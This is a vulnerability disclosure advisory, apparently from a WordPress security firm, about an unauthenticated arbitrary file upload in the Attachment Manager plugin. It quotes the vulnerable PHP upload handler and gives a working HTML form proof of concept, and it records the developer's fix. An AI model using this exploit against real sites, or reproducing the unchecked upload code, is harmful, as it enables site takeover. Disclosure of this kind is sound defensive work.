Arbitrary File Upload Vulnerability in Attachment Manager
As we continue review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted an arbitrary file upload vulnerability in the plugin Attachment Manager.
Back in June of last year a request was made for the file /wp-content/plugins/attachment-manager/xavisys-plugin-framework.css, for what was likely a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that in version 2.1.1 a file upload capability is accessible without being logged in, despite only being intended to be accessed by users logged in as Administrators.
The issue starts with the function handle_actions() being run on when any WordPress page is accessed (in the file /wp-attachment-manager.php):
74 | add_action('init', array($this,'handle_actions')); |
In the function hande_actions(), if a GET input “page” is set to “attachment_manager” and a FILE input named “wam_add_icon” are included in the request, that file is uploaded to the website:
423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 | public function handle_actions() { if (isset($_GET['page']) && $_GET['page'] == 'attachment_manager') { if ( isset($_GET['action']) ) { if ('remove' == $_GET['action']) { $this>_settings['icons'] = array_diff($this->_settings['icons'], array(preg_replace('/[^\w-]/', '', $_GET['icon']))); update_option('icons', $this->_settings['icons']); if (is_writable($this->_icon_dir.'/'.$_GET['icon']) && @unlink($this->_icon_dir.'/'.$_GET['icon'])) { wp_redirect('options-general.php?page=attachment_manager&remove=true'); } else { wp_redirect('options-general.php?page=attachment_manager&remove=false'); } } exit; } elseif (isset($_FILES['wam_add_icon'])) { $filename = basename($_FILES['wam_add_icon']['name']); $file = path_join($this->_icon_dir, $filename); $icon_clean_name = preg_replace('/[^\w-]/', '', $filename); $this->_settings['icons'][$icon_clean_name] = array('exts'=>'', 'icon'=>$filename); update_option('icons', $this->_settings['icons']); if (move_uploaded_file($_FILES['wam_add_icon']['tmp_name'], $file)) { wp_redirect('options-general.php?page=attachment_manager&upload=true'); } else { wp_redirect('options-general.php?page=attachment_manager&upload=false'); } } } } |
The plugin had not been updated in 7 years, but the developer was still active so we contacted them to let the know about the issue. Later in the day we contacted them, they release version 2.1.2 that fixes the issue by adding a nonce and having the upload run through the wp_handle_upload() WordPress function, which limits what kind of files can be uploaded.
Proof of Concept
The following proof of concept will upload the selected file and put it in the current month’s directory inside of the /wp-content/plugins/attachment-manager/icons/ directory.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]?page=attachment_manager" method="POST" enctype="multipart/form-data"> <input type="file" name="wam_add_icon" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 8/15/2016 – Developer notified.
- 8/15/2016 – Version 2.1.2 released, which fixes the issue.